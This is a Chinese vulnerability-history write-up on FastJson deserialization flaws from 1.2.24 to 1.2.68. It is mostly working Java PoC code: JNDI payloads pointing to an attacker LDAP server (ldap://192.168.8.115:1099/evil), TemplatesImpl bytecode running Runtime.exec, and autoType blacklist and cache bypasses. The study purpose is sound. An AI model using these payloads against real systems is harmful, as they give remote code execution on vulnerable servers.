在《JavaSec FastJson反序列化漏洞利用原理》中分析了FastJson的反序列化漏洞成因,也总结了FastJson的反序列化利用方式,这里将复现一些有关FastJson的漏洞利用,以清晰了解FastJson的漏洞发展史,从中吸取攻防经验。
在FastJson的官方公告中出现两次安全公告:
1.security_update_20170315
最近发现fastjson在1.2.24 以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29/1.2.30/1.2.31或者更新版本。
安全升级包禁用了部分autotype的功能,也就是”@type”这种指定类型的功能会被限制在一定范围内使用。如果你使用场景中包括了这个功能, 这里有一个介绍如何添加白名单或者打开autotype功能
2.security_update_20200601
最近发现fastjson在1.2.68黑客利用漏洞,可绕过autoType限制,直接远程执行任意命令攻击服务器,风险极大。
fastjson采用黑白名单的方法来防御反序列化漏洞,导致当黑客不断发掘新的反序列化Gadgets类时,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,造成远程命令执行漏洞。经研究,该漏洞利用门槛较低,可绕过autoType限制,风险影响较大。阿里云应急响应中心提醒fastjson用户尽快采取安全措施阻止漏洞攻击.
影响版本:
- fastjson <=1.2.68
- fastjson sec版本 <= sec9
safeMode加固:
fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击(关闭autoType注意评估对业务的影响)
JSON#parseObject()
JSON#parse()
new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features) # 记录field在还原对象的调用method
DefaultJSONParser#parse()
DefaultJSONParser#parseObject()
ParserConfig#checkAutoType() # 引入的黑名单白名单
TypeUtils.loadClass() #正常的逻辑进入这里进行类的加载Json的parser建立
从安全的公告中可以看出这两个关键的节点:
- autoType的利用
- autoType的绕过
环境默认不说明是JDK1.8u181
一、Fastjson <= 1.2.24
在这个版本之前,Fastjson默认支持autoType属性,即可以通过@Type指定Fastjon调用特定类的setter 或者getter方法,且黑名单中只有连个类,利用的方式有:
1.JNDI 注入利用
2.Java类加载或反序列利用
通过marshalsec快速搭建LDAP服务器
java -cp target\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.58.131:8080/#ExecTest 1099
如通过JNDI注入利用
@Test
public void TestJdbcRowsetImple() {
final String clazz = "com.sun.rowset.JdbcRowSetImpl";
final String addr = "ldap://192.168.8.115:1099/evil";
String poc = "{\"@type\":\"" +clazz +"\","+
"\"dataSourceName\":\"" + addr + "\"," +
"\"autoCommit\":true" +
"}";
System.out.println(poc);
JSONObject.parseObject(poc);
}
如通过java类加载利用
public void TestTemplateImple() throws IOException, CannotCompileException, NotFoundException {
//POC1
//将字节码输出,TemplateImpl loadClass 实现类的加载
//FileInputStream fis = new FileInputStream("target/test-classes/com/thonsun/demo02/ExploitOne.class");
//ByteArrayOutputStream barr = new ByteArrayOutputStream();
//IOUtils.copy(fis, barr);
//String base64Poc = Base64.encodeBase64String(barr.toByteArray());
//
//POC2
String base64Poc = Base64.encodeBase64String(getPocbyte());
final String CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String poc = "{\"@type\":" + "\"" + CLASS + "\"," +
"\"_bytecodes\":" + "[\"" + base64Poc + "\"]," +
"\"_name\":\"thonsun\"," +
"\"_tfactory\":{}," +
"\"_outputProperties\":{}}";
System.out.println(poc);
JSONObject.parseObject(poc, Feature.SupportNonPublicField);
}
private byte[] getPocbyte() throws CannotCompileException, NotFoundException, IOException {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(TestPoc.class.getName());
//java.lang.Runtime.getRuntime().exec("calc");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Thonsun" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); //设置父类
return cc.toBytecode();
}
JDK1.8u181
二、Fastjson blacklist
选择fastjson 1.2.47版本说明fastjson在1.2.24版本后引入的防御机制
2.1 Fastjson 1.2.25
在1.2.25开始,fastjson 设置autoType默认关闭,同时增加了黑名的机制。下面的一些绕过是基于显式开启autoType的绕过利用。
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
//先进行白名单匹配,如果匹配成功则直接返回。可见所谓的关闭白名单机制是不只限于白名单
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
//同样进行黑名单匹配,如果匹配成功,则报错推出。
//需要注意这百年所谓的匹配都是startsWith开头匹配
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//一些固定类型的判断,不会对clazz进行赋值,此处省略
//不匹配白名单中也不匹配黑名单的,进入此处,进行class加载
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//对于加载的类进行危险性判断,判断加载的clazz是否继承自Classloader与DataSource
if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
//返回加载的class
return clazz;
}
再次运行POC:
在checkAutoType函数处可以看到fastjson的黑名单默认21个,白名单没有,这里的poc命中 com.sun.(startWith)结束Json解析
这里的两个绕过利用的思路
1.寻找不在黑名的利用类
2.寻找checkAutoType()逻辑漏洞绕过黑名单检查,如添加特殊字符。
可以看到最终的TypeUtils.loadClass()辑
如果这个className是以
[
开头我们会去掉[
进行加载!但是实际上在代码中也可以看见它会返回Array的实例变成数组。在实际中它远远不会执行到这一步,在json串解析时就已经报错。
如果这个className是以
L
开头;
结尾,就会去掉开头和结尾进行加载!
所以一个绕过的poc,这个poc在 Fastjson 1.2.25 -~ 1.2.41都可以使用
@Test
public void TestJdbcRowsetImple() {
final String clazz = "Lcom.sun.rowset.JdbcRowSetImpl;";
final String addr = "ldap://192.168.8.115:1099/evil";
String poc = "{\"@type\":\"" +clazz +"\","+
"\"dataSourceName\":\"" + addr + "\"," +
"\"autoCommit\":true" +
"}";
System.out.println(poc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject.parseObject(poc);
}
2.2 Fastjson 1.2.42
在Fastjson 12.42的版本中,对上面的绕过进行了修复
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}
可以看新的checkAutoType() 逻辑:
1.黑名机制由字符匹配该到hash的逻辑比较,denyHashCodes内置写入,长度有限;所以绕过这个就是寻找新的利用链不在黑名内。
this.denyHashCodes = new long[]{-8720046426850100497L, -8109300701639721088L, -7966123100503199569L, -7766605818834748097L, -6835437086156813536L, -4837536971810737970L, -4082057040235125754L, -2364987994247679115L, -1872417015366588117L, -254670111376247151L, -190281065685395680L, 33238344207745342L, 313864100207897507L, 1203232727967308606L, 1502845958873959152L, 3547627781654598988L, 3730752432285826863L, 3794316665763266033L, 4147696707147271408L, 5347909877633654828L, 5450448828334921485L, 5751393439502795295L, 5944107969236155580L, 6742705432718011780L, 7179336928365889465L, 7442624256860549330L, 8838294710098435315L};
2.从checkAutoType()对L 与;做了处理,但只是删除了一次,类似与XSS等防御的双写绕过
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { className = className.substring(1, className.length() - 1); }
所以绕过这个的版本的payload是双写
@Test
public void TestJdbcRowsetImple() {
//final String clazz = "com.sun.rowset.JdbcRowSetImpl"; //fastjson 1.2.24
//final String clazz = "Lcom.sun.rowset.JdbcRowSetImpl;"; //fastjson 1.2.41
final String clazz = "LLcom.sun.rowset.JdbcRowSetImpl;;";
final String addr = "ldap://192.168.8.115:1099/evil";
String poc = "{\"@type\":\"" +clazz +"\","+
"\"dataSourceName\":\"" + addr + "\"," +
"\"autoCommit\":true" +
"}";
System.out.println(poc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject.parseObject(poc);
}
2.3 fastjson 1.2.43
这个版本对上面的绕过修改了字符的处理 逻辑
//hash计算基础参数
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
//L开头,;结尾
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
//LL开头
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
//直接爆出异常
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
对于双写的情况直接报错
从这里就是不断寻找新的利用链了,如 ibatis-core 3:0依赖的
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
POC
@Test
public void TestJndiDataSourceFactory(){
final String clazz = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
final String addr = "ldap://192.168.8.115:1099/evil";
String poc = "{\"@type\":\""+clazz+"\",\"properties\":{\"data_source\":\""+addr +"\"}}";
System.out.println(poc);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject.parseObject(poc);
}
2.4 fastjson 1.2.47
这是一个通杀的版本,可以不用手动开启autoType,不论autoType设置如何都可以触发
json串满足
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
poc
@Test
public void TestGenericCacheBypass() {
final String payload = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"%s\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"%s\", \n" +
" \"dataSourceName\": \"%s\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
String clazz = "com.sun.rowset.JdbcRowSetImpl";
String add = "ldap://192.168.8.115:1099/evil";
String poc = String.format(payload, clazz, clazz, add);
System.out.println(poc);
JSONObject.parseObject(poc);
}
运行效果
三、Fastjson <= 1.2.68
在fastjson1.2.48后对cache缓存进行修复,fastjson 1.2.47通杀的利用自此失效。
这个的利用前提是服务端存在可以利用类
如
package com.thonsun.demo02;
import java.io.IOException;
/**
* @Project: test-poc
* @Desc: fastjson <= 1.2.68利用类
* @Author: thonsun
* @Create: 2020/12/28 20:11
**/
public class VulClass implements AutoCloseable {
@Override
public void close() throws Exception {
}
public VulClass(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
poc
@Test
//fastjson <= 1.2.68通杀绕过
public void TestAutoTypeBypass(){
String poc = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.thonsun.demo02.VulClass\", \"cmd\":\"calc.exe\"}";
JSONObject.parseObject(poc);
}
运行的效果
参考资料
2.阿里云安全公告